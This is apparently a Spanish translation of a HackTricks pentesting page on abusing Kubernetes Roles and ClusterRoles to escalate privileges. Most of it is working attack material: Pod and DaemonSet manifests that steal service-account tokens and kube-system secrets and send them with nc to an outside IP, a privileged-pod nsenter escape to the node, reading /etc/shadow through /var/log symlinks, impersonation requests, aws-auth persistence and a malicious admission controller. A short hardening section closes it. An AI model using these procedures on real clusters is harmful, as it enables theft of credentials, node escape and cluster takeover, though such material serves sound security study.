Abusing Roles/ClusterRoles in Kubernetes

Aprende hacking en AWS desde cero hasta experto con htARTE (Experto en Red Team de AWS de HackTricks)!

Otras formas de apoyar a HackTricks:

Aquí puedes encontrar algunas configuraciones de Roles y ClusterRoles potencialmente peligrosas. Recuerda que puedes obtener todos los recursos admitidos con kubectl api-resources

Escalada de Privilegios

Referido como el arte de obtener acceso a un principal diferente dentro del clúster con diferentes privilegios (dentro del clúster de Kubernetes o a nubes externas) de los que ya tienes, en Kubernetes básicamente existen 4 técnicas principales para escalar privilegios:

  • Ser capaz de suplantar a otros usuarios/grupos/SAs con mejores privilegios dentro del clúster de Kubernetes o a nubes externas

  • Ser capaz de crear/patch/ejecutar pods donde puedes encontrar o adjuntar SAs con mejores privilegios dentro del clúster de Kubernetes o a nubes externas

  • Ser capaz de leer secretos ya que los tokens de los SAs se almacenan como secretos

  • Ser capaz de escapar al nodo desde un contenedor, donde puedes robar todos los secretos de los contenedores en ejecución en el nodo, las credenciales del nodo y los permisos del nodo dentro de la nube en la que se está ejecutando (si los hay)

  • Una quinta técnica que merece mención es la capacidad de ejecutar port-forward en un pod, ya que podrías acceder a recursos interesantes dentro de ese pod.

Acceder a Cualquier Recurso o Verbo (Comodín)

El comodín (*) otorga permiso sobre cualquier recurso con cualquier verbo. Es utilizado por los administradores. Dentro de un ClusterRole esto significa que un atacante podría abusar de cualquier espacio de nombres en el clúster

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: api-resource-verbs-all
rules:
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["*"]

Acceder a cualquier recurso con un verbo específico

En RBAC, ciertos permisos representan riesgos significativos:

  1. create: Concede la capacidad de crear cualquier recurso del clúster, lo que supone un riesgo de escalada de privilegios.

  2. list: Permite listar todos los recursos, potencialmente filtrando datos sensibles.

  3. get: Permite acceder a secretos de cuentas de servicio, representando una amenaza de seguridad.

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: api-resource-verbs-all
rules:
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["create", "list", "get"]

Creación de Pod - Robo de Token

Un atacante con los permisos para crear un pod, podría adjuntar una Cuenta de Servicio privilegiada al pod y robar el token para hacerse pasar por la Cuenta de Servicio. Efectivamente escalando privilegios a la misma.

Ejemplo de un pod que robará el token de la cuenta de servicio bootstrap-signer y lo enviará al atacante:

apiVersion: v1
kind: Pod
metadata:
name: alpine
namespace: kube-system
spec:
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args: ["-c", 'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000']
serviceAccountName: bootstrap-signer
automountServiceAccountToken: true
hostNetwork: true

Creación y Escape de Pods

Lo siguiente indica todos los privilegios que un contenedor puede tener:

  • Acceso privilegiado (desactivando protecciones y estableciendo capacidades)

  • Desactivar los espacios de nombres hostIPC y hostPid que pueden ayudar a escalar privilegios

  • Desactivar el espacio de nombres hostNetwork, dando acceso para robar privilegios de la nube de los nodos y un mejor acceso a las redes

  • Montar / del host dentro del contenedor

super_privs.yaml
apiVersion: v1
kind: Pod
metadata:
name: ubuntu
labels:
app: ubuntu
spec:
# Uncomment and specify a specific node you want to debug
# nodeName: <insert-node-name-here>
containers:
- image: ubuntu
command:
- "sleep"
- "3600" # adjust this as needed -- use only as long as you need
imagePullPolicy: IfNotPresent
name: ubuntu
securityContext:
allowPrivilegeEscalation: true
privileged: true
#capabilities:
#  add: ["NET_ADMIN", "SYS_ADMIN"] # add the capabilities you need https://man7.org/linux/man-pages/man7/capabilities.7.html
runAsUser: 0 # run as root (or any other user)
volumeMounts:
- mountPath: /host
name: host-volume
restartPolicy: Never # we want to be intentional about running this pod
hostIPC: true # Use the host's ipc namespace https://www.man7.org/linux/man-pages/man7/ipc_namespaces.7.html
hostNetwork: true # Use the host's network namespace https://www.man7.org/linux/man-pages/man7/network_namespaces.7.html
hostPID: true # Use the host's pid namespace https://man7.org/linux/man-pages/man7/pid_namespaces.7.htmlpe_
volumes:
- name: host-volume
hostPath:
path: /

Cree el pod con:

kubectl --token $token create -f mount_root.yaml

Una línea de este tweet y con algunas adiciones:

kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}]}}'

Ahora que puedes escapar al nodo, verifica las técnicas de post-explotación en:

Sigilo

Probablemente quieras ser más sigiloso, en las siguientes páginas puedes ver a qué podrías acceder si creas un pod solo habilitando algunos de los privilegios mencionados en la plantilla anterior:

  • Privileged + hostPID

  • Solo Privileged

  • hostPath

  • hostPID

  • hostNetwork

  • hostIPC

Puedes encontrar ejemplos de cómo crear/abusar las configuraciones de pods privilegiados anteriores en https://github.com/BishopFox/badPods

Crear Pod - Mover a la nube

Si puedes crear un pod (y opcionalmente una cuenta de servicio), podrías ser capaz de obtener privilegios en el entorno de la nube al asignar roles de nube a un pod o una cuenta de servicio y luego acceder a ello. Además, si puedes crear un pod con el espacio de nombres de red del host, puedes robar el rol IAM de la instancia del nodo.

Para más información, verifica:

pagePod Escape Privileges

Crear/Parchar Implementación, Demonios, Conjuntos de estado, Controladores de replicación, Conjuntos de réplicas, Trabajos y Trabajos cron

Es posible abusar de estos permisos para crear un nuevo pod y establecer privilegios como en el ejemplo anterior.

El siguiente yaml crea un demonio y exfiltra el token del SA dentro del pod:

apiVersion: apps/v1
kind: DaemonSet
metadata:
name: alpine
namespace: kube-system
spec:
selector:
matchLabels:
name: alpine
template:
metadata:
labels:
name: alpine
spec:
serviceAccountName: bootstrap-signer
automountServiceAccountToken: true
hostNetwork: true
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args: ["-c", 'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000']
volumeMounts:
- mountPath: /root
name: mount-node-root
volumes:
- name: mount-node-root
hostPath:
path: /

Pods Exec

pods/exec es un recurso en Kubernetes utilizado para ejecutar comandos en una terminal dentro de un pod. Esto permite ejecutar comandos dentro de los contenedores o obtener una terminal interna.

Por lo tanto, es posible ingresar a un pod y robar el token del SA, o ingresar a un pod privilegiado, escapar al nodo y robar todos los tokens de los pods en el nodo y (ab)usar el nodo:

kubectl exec -it <POD_NAME> -n <NAMESPACE> -- sh

port-forward

Esta permiso permite reenviar un puerto local a un puerto en el pod especificado. Esto está destinado a poder depurar aplicaciones que se ejecutan dentro de un pod fácilmente, pero un atacante podría abusar de ello para acceder a aplicaciones interesantes (como bases de datos) o vulnerables (¿sitios web?) dentro de un pod:

kubectl port-forward pod/mypod 5000:5000

Escapar de /var/log/ en Hosts con Escritura

Como se indica en esta investigación, si puedes acceder o crear un pod con el directorio /var/log/ de los hosts montado en él, puedes escapar del contenedor. Básicamente, esto se debe a que cuando el Kube-API intenta obtener los registros de un contenedor (usando kubectl logs <pod>), solicita el archivo 0.log del pod utilizando el punto final /logs/ del servicio Kubelet. El servicio Kubelet expone el punto final /logs/, que básicamente expone el sistema de archivos /var/log del contenedor.

Por lo tanto, un atacante con acceso para escribir en la carpeta /var/log/ del contenedor podría abusar de este comportamiento de 2 maneras:

  • Modificando el archivo 0.log de su contenedor (generalmente ubicado en /var/logs/pods/namespace_pod_uid/container/0.log) para que sea un enlace simbólico que apunte a /etc/shadow, por ejemplo. Luego, podrás extraer el archivo shadow de los hosts haciendo:

kubectl logs escaper
failed to get parse function: unsupported log format: "root::::::::\n"
kubectl logs escaper --tail=2
failed to get parse function: unsupported log format: "systemd-resolve:*:::::::\n"
# Keep incrementing tail to exfiltrate the whole file
  • Si el atacante controla algún principal con los permisos para leer nodes/log, simplemente puede crear un enlace simbólico en /host-mounted/var/log/sym a / y al acceder a https://<gateway>:10250/logs/sym/ listará el sistema de archivos raíz de los hosts (cambiando el enlace simbólico se puede acceder a archivos).

curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://172.17.0.1:10250/logs/sym/'
<a href="bin">bin</a>
<a href="data/">data/</a>
<a href="dev/">dev/</a>
<a href="etc/">etc/</a>
<a href="home/">home/</a>
<a href="init">init</a>
<a href="lib">lib</a>
[...]

Se puede encontrar un laboratorio y un exploit automatizado en https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts

Saltándose la protección de solo lectura

Si tienes la suerte de contar con la capacidad altamente privilegiada CAP_SYS_ADMIN, simplemente puedes remontar la carpeta como rw:

mount -o rw,remount /hostlogs/

Saltándose la protección de solo lectura de hostPath

Como se indica en esta investigación es posible saltarse la protección:

allowedHostPaths:
- pathPrefix: "/foo"
readOnly: true

Lo que se pretendía evitar escapes como los anteriores es, en lugar de usar un montaje hostPath, utilizar un PersistentVolume y un PersistentVolumeClaim para montar una carpeta de hosts en el contenedor con acceso de escritura:

apiVersion: v1
kind: PersistentVolume
metadata:
name: task-pv-volume-vol
labels:
type: local
spec:
storageClassName: manual
capacity:
storage: 10Gi
accessModes:
- ReadWriteOnce
hostPath:
path: "/var/log"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
name: task-pv-claim-vol
spec:
storageClassName: manual
accessModes:
- ReadWriteOnce
resources:
requests:
storage: 3Gi
---
apiVersion: v1
kind: Pod
metadata:
name: task-pv-pod
spec:
volumes:
- name: task-pv-storage-vol
persistentVolumeClaim:
claimName: task-pv-claim-vol
containers:
- name: task-pv-container
image: ubuntu:latest
command: [ "sh", "-c", "sleep 1h" ]
volumeMounts:
- mountPath: "/hostlogs"
name: task-pv-storage-vol

Suplantación de cuentas privilegiadas

Con un privilegio de suplantación de usuario, un atacante podría suplantar una cuenta privilegiada.

Simplemente use el parámetro --as=<nombre de usuario> en el comando kubectl para suplantar a un usuario, o --as-group=<grupo> para suplantar a un grupo:

kubectl get pods --as=system:serviceaccount:kube-system:default
kubectl get secrets --as=null --as-group=system:masters

O utiliza la API REST:

curl -k -v -XGET -H "Authorization: Bearer <JWT TOKEN (of the impersonator)>" \
-H "Impersonate-Group: system:masters"\
-H "Impersonate-User: null" \
-H "Accept: application/json" \
https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/

Listado de Secretos

El permiso para listar secretos podría permitir a un atacante leer realmente los secretos accediendo al punto final de la API REST:

curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/

Leyendo un secreto - forzando IDs de token

Mientras que un atacante en posesión de un token con permisos de lectura requiere el nombre exacto del secreto para usarlo, a diferencia del privilegio más amplio de listar secretos, aún existen vulnerabilidades. Las cuentas de servicio predeterminadas en el sistema pueden ser enumeradas, cada una asociada con un secreto. Estos secretos tienen una estructura de nombre: un prefijo estático seguido de un token alfanumérico aleatorio de cinco caracteres (excluyendo ciertos caracteres) según el código fuente.

El token se genera a partir de un conjunto limitado de 27 caracteres (bcdfghjklmnpqrstvwxz2456789), en lugar del rango alfanumérico completo. Esta limitación reduce las posibles combinaciones totales a 14,348,907 (27^5). En consecuencia, un atacante podría ejecutar factiblemente un ataque de fuerza bruta para deducir el token en cuestión de horas, lo que potencialmente podría llevar a una escalada de privilegios al acceder a cuentas de servicio sensibles.

Solicitudes de Firma de Certificados

Si tienes los verbos create en el recurso certificatesigningrequests (o al menos en certificatesigningrequests/nodeClient). Puedes crear un nuevo CeSR de un nuevo nodo.

Según la documentación es posible aprobar automáticamente estas solicitudes, por lo que en ese caso no necesitas permisos adicionales. De lo contrario, necesitarías poder aprobar la solicitud, lo que implica actualizar en certificatesigningrequests/approval y approve en signers con el nombre del recurso <signerNameDomain>/<signerNamePath> o <signerNameDomain>/*

Un ejemplo de un rol con todos los permisos requeridos es:

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: csr-approver
rules:
- apiGroups:
- certificates.k8s.io
resources:
- certificatesigningrequests
verbs:
- get
- list
- watch
- create
- apiGroups:
- certificates.k8s.io
resources:
- certificatesigningrequests/approval
verbs:
- update
- apiGroups:
- certificates.k8s.io
resources:
- signers
resourceNames:
- example.com/my-signer-name # example.com/* can be used to authorize for all signers in the 'example.com' domain
verbs:
- approve

Entonces, con la nueva CSR del nodo aprobada, puedes abusar de los permisos especiales de los nodos para robar secretos y escalar privilegios.

En este post y este otro la configuración de GKE K8s TLS Bootstrap está configurada con firma automática y se abusa para generar credenciales de un nuevo Nodo K8s y luego abusar de ellas para escalar privilegios al robar secretos. Si tienes los privilegios mencionados podrías hacer lo mismo. Ten en cuenta que el primer ejemplo evade el error que impide que un nuevo nodo acceda a secretos dentro de contenedores porque un nodo solo puede acceder a los secretos de los contenedores montados en él.

La forma de evadir esto es simplemente crear credenciales de nodo para el nombre del nodo donde está montado el contenedor con los secretos interesantes (pero solo revisa cómo hacerlo en el primer post):

"/O=system:nodes/CN=system:node:gke-cluster19-default-pool-6c73b1-8cj1"

Configmaps de aws-auth en AWS EKS

Los principios que pueden modificar configmaps en el espacio de nombres kube-system en clústeres EKS (necesitan estar en AWS) pueden obtener privilegios de administrador de clúster sobrescribiendo el configmap aws-auth. Los verbos necesarios son update y patch, o create si el configmap no fue creado:

# Check if config map exists
get configmap aws-auth -n kube-system -o yaml

## Yaml example
apiVersion: v1
kind: ConfigMap
metadata:
name: aws-auth
namespace: kube-system
data:
mapRoles: |
- rolearn: arn:aws:iam::123456789098:role/SomeRoleTestName
username: system:node:{{EC2PrivateDNSName}}
groups:
- system:masters

# Create donfig map is doesn't exist
## Using kubectl and the previous yaml
kubectl apply -f /tmp/aws-auth.yaml
## Using eksctl
eksctl create iamidentitymapping --cluster Testing --region us-east-1 --arn arn:aws:iam::123456789098:role/SomeRoleTestName --group "system:masters" --no-duplicate-arns

# Modify it
kubectl edit -n kube-system configmap/aws-auth
## You can modify it to even give access to users from other accounts
data:
mapRoles: |
- rolearn: arn:aws:iam::123456789098:role/SomeRoleTestName
username: system:node:{{EC2PrivateDNSName}}
groups:
- system:masters
mapUsers: |
- userarn: arn:aws:iam::098765432123:user/SomeUserTestName
username: admin
groups:
- system:masters

Puedes usar aws-auth para persistencia dando acceso a usuarios de otras cuentas.

Sin embargo, aws --profile other_account eks update-kubeconfig --name <cluster-name> no funciona desde una cuenta diferente. Pero en realidad aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing funciona si colocas el ARN del clúster en lugar del nombre. Para que kubectl funcione, asegúrate de configurar el kubeconfig de la víctima y en los argumentos de ejecución de aws agrega --profile other_account_role para que kubectl use el perfil de la otra cuenta para obtener el token y contactar con AWS.

Escalando en GKE

Hay 2 formas de asignar permisos de K8s a los principales de GCP. En cualquier caso, el principal también necesita el permiso container.clusters.get para poder recopilar credenciales para acceder al clúster, o necesitarás generar tu propio archivo de configuración de kubectl (sigue el siguiente enlace).

Al hablar con el punto final de la API de K8s, se enviará el token de autenticación de GCP. Luego, GCP, a través del punto final de la API de K8s, primero verificará si el principal (por correo electrónico) tiene algún acceso dentro del clúster, luego verificará si tiene algún acceso a través de GCP IAM. Si cualquiera de esos es verdadero, se le responderá. Si no, se dará un error sugiriendo dar permisos a través de GCP IAM.

Luego, el primer método es usando GCP IAM, los permisos de K8s tienen sus equivalentes permisos de GCP IAM, y si el principal los tiene, podrá usarlos.

pageGCP - Container Privesc

El segundo método es asignar permisos de K8s dentro del clúster identificando al usuario por su correo electrónico (se incluyen las cuentas de servicio de GCP).

Crear token de cuentas de servicio

Los principales que pueden crear solicitudes de token (serviceaccounts/token) al hablar con el punto final de la API de K8s SAs (información de aquí).

ephemeralcontainers

Los principales que pueden actualizar o parchear pods/ephemeralcontainers pueden obtener ejecución de código en otros pods, y potencialmente escapar a su nodo agregando un contenedor efímero con un securityContext privilegiado.

ValidatingWebhookConfigurations o MutatingWebhookConfigurations

Los principales con cualquiera de los verbos create, update o patch sobre validatingwebhookconfigurations o mutatingwebhookconfigurations podrían ser capaces de crear uno de esos webhookconfigurations para poder escalar privilegios.

Para un ejemplo de mutatingwebhookconfigurations revisa esta sección de esta publicación.

Escalar

Como se puede leer en la siguiente sección: Prevención de Escalada de Privilegios Incorporada, un principal no puede actualizar ni crear roles o clusterroles sin tener esos nuevos permisos. Excepto si tiene el verbo escalate sobre roles o clusterroles. Entonces puede actualizar/crear nuevos roles, clusterroles con mejores permisos que los que tiene.

Proxy de nodos

Los principales con acceso al subrecurso nodes/proxy pueden ejecutar código en pods a través de la API de Kubelet (según esto). Más información sobre la autenticación de Kubelet en esta página:

pageKubelet Authentication & Authorization

Tienes un ejemplo de cómo obtener RCE hablando autorizado a una API de Kubelet aquí.

Eliminar pods + nodos no programables

Los principales que pueden eliminar pods (verbo delete sobre el recurso pods), o expulsar pods (verbo create sobre el recurso pods/eviction), o cambiar el estado del pod (acceso a pods/status) y pueden hacer que otros nodos no sean programables (acceso a nodes/status) o eliminar nodos (verbo delete sobre el recurso nodes) y tienen control sobre un pod, podrían robar pods de otros nodos para que se ejecuten en el nodo comprometido y el atacante pueda robar los tokens de esos pods.

patch_node_capacity(){
curl -s -X PATCH 127.0.0.1:8001/api/v1/nodes/$1/status -H "Content-Type: json-patch+json" -d '[{"op": "replace", "path":"/status/allocatable/pods", "value": "0"}]'
}

while true; do patch_node_capacity <id_other_node>; done &
#Launch previous line with all the nodes you need to attack

kubectl delete pods -n kube-system <privileged_pod_name>

Estado de los servicios (CVE-2020-8554)

Los principios que pueden modificar services/status pueden establecer el campo status.loadBalancer.ingress.ip para explotar el CVE-2020-8554 sin corregir y lanzar ataques de MiTM contra el clúster. La mayoría de las mitigaciones para CVE-2020-8554 solo previenen servicios ExternalIP (según esto).

Estado de los Nodos y Pods

Los principios con permisos de update o patch sobre nodes/status o pods/status, podrían modificar etiquetas para afectar las restricciones de programación impuestas.

Prevención de Escalada de Privilegios Incorporada

Kubernetes tiene un mecanismo incorporado para prevenir la escalada de privilegios.

Este sistema asegura que los usuarios no pueden elevar sus privilegios modificando roles o vinculaciones de roles. La aplicación de esta regla ocurre a nivel de la API, proporcionando una protección incluso cuando el autorizador RBAC está inactivo.

La regla estipula que un usuario solo puede crear o actualizar un rol si posee todos los permisos que comprende el rol. Además, el alcance de los permisos existentes del usuario debe coincidir con el del rol que está intentando crear o modificar: ya sea a nivel de clúster para ClusterRoles o confinado al mismo espacio de nombres (o a nivel de clúster) para Roles.

Hay una excepción a la regla anterior. Si un principal tiene el verbo escalate sobre roles o clusterroles puede aumentar los privilegios de roles y clusterroles incluso sin tener los permisos él mismo.

Obtener y Modificar RoleBindings/ClusterRoleBindings

Aparentemente esta técnica funcionaba antes, pero según mis pruebas ya no funciona por la misma razón explicada en la sección anterior. No puedes crear/modificar un rolebinding para darte a ti mismo o a un SA diferente algunos privilegios si no los tienes ya.

El privilegio de crear Rolebindings permite a un usuario vincular roles a una cuenta de servicio. Este privilegio puede llevar potencialmente a una escalada de privilegios porque permite al usuario vincular privilegios de administrador a una cuenta de servicio comprometida.

Otros Ataques

Aplicación de proxy sidecar

Por defecto no hay encriptación en la comunicación entre pods. Autenticación mutua, de dos vías, de pod a pod.

Crear una aplicación de proxy sidecar

Crea tu .yaml

kubectl run app --image=bash --command -oyaml --dry-run=client > <appName.yaml> -- sh -c 'ping google.com'

Edita tu archivo .yaml y agrega las líneas descomentadas:

#apiVersion: v1
#kind: Pod
#metadata:
#  name: security-context-demo
#spec:
#  securityContext:
#    runAsUser: 1000
#    runAsGroup: 3000
#    fsGroup: 2000
#  volumes:
#  - name: sec-ctx-vol
#    emptyDir: {}
#  containers:
#  - name: sec-ctx-demo
#    image: busybox
command: [ "sh", "-c", "apt update && apt install iptables -y && iptables -L && sleep 1h" ]
securityContext:
capabilities:
add: ["NET_ADMIN"]
#   volumeMounts:
#   - name: sec-ctx-vol
#     mountPath: /data/demo
#   securityContext:
#     allowPrivilegeEscalation: true

Ver los registros del proxy:

kubectl logs app -C proxy

Más información en: https://kubernetes.io/docs/tasks/configure-pod-container/security-context/

Controlador de admisión malicioso

Un controlador de admisión intercepta las solicitudes al servidor de la API de Kubernetes antes de la persistencia del objeto, pero después de que la solicitud esté autenticada y autorizada.

Si un atacante logra de alguna manera inyectar un Controlador de Admisión de Mutación, podrá modificar solicitudes ya autenticadas. Teniendo potencialmente privilegios elevados y, más comúnmente, persistir en el clúster.

Ejemplo de https://blog.rewanthtammana.com/creating-malicious-admission-controllers:

git clone https://github.com/rewanthtammana/malicious-admission-controller-webhook-demo
cd malicious-admission-controller-webhook-demo
./deploy.sh
kubectl get po -n webhook-demo -w

Verifique el estado para ver si está listo:

kubectl get mutatingwebhookconfigurations
kubectl get deploy,svc -n webhook-demo

Luego despliega un nuevo pod:

kubectl run nginx --image nginx
kubectl get po -w

Cuando veas el error ErrImagePull, verifica el nombre de la imagen con cualquiera de las consultas:

kubectl get po nginx -o=jsonpath='{.spec.containers[].image}{"\n"}'
kubectl describe po nginx | grep "Image: "

Como se puede ver en la imagen anterior, intentamos ejecutar la imagen nginx pero la imagen ejecutada finalmente es rewanthtammana/malicious-image. ¿Qué acaba de suceder!!?

Aspectos técnicos

patches = append(patches, patchOperation{
Op:    "replace",
Path:  "/spec/containers/0/image",
Value: "rewanthtammana/malicious-image",
})

Mejores Prácticas

Desactivar el Automontaje de Tokens de Cuenta de Servicio

  • Pods y Cuentas de Servicio: Por defecto, los pods montan un token de cuenta de servicio. Para mejorar la seguridad, Kubernetes permite desactivar esta función de automontaje.

  • Cómo Aplicar: Establecer automountServiceAccountToken: false en la configuración de cuentas de servicio o pods a partir de la versión 1.6 de Kubernetes.

Asignación de Usuario Restringida en RoleBindings/ClusterRoleBindings

  • Inclusión Selectiva: Asegúrese de que solo se incluyan los usuarios necesarios en RoleBindings o ClusterRoleBindings. Audite regularmente y elimine usuarios irrelevantes para mantener una seguridad estricta.

Roles Específicos del Espacio de Nombres sobre Roles en Todo el Cluster

  • Roles vs. ClusterRoles: Prefiera utilizar Roles y RoleBindings para permisos específicos del espacio de nombres en lugar de ClusterRoles y ClusterRoleBindings, que se aplican en todo el clúster. Este enfoque ofrece un control más preciso y limita el alcance de los permisos.

Utilizar herramientas automatizadas

Referencias

Aprende hacking en AWS desde cero hasta experto con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Última actualización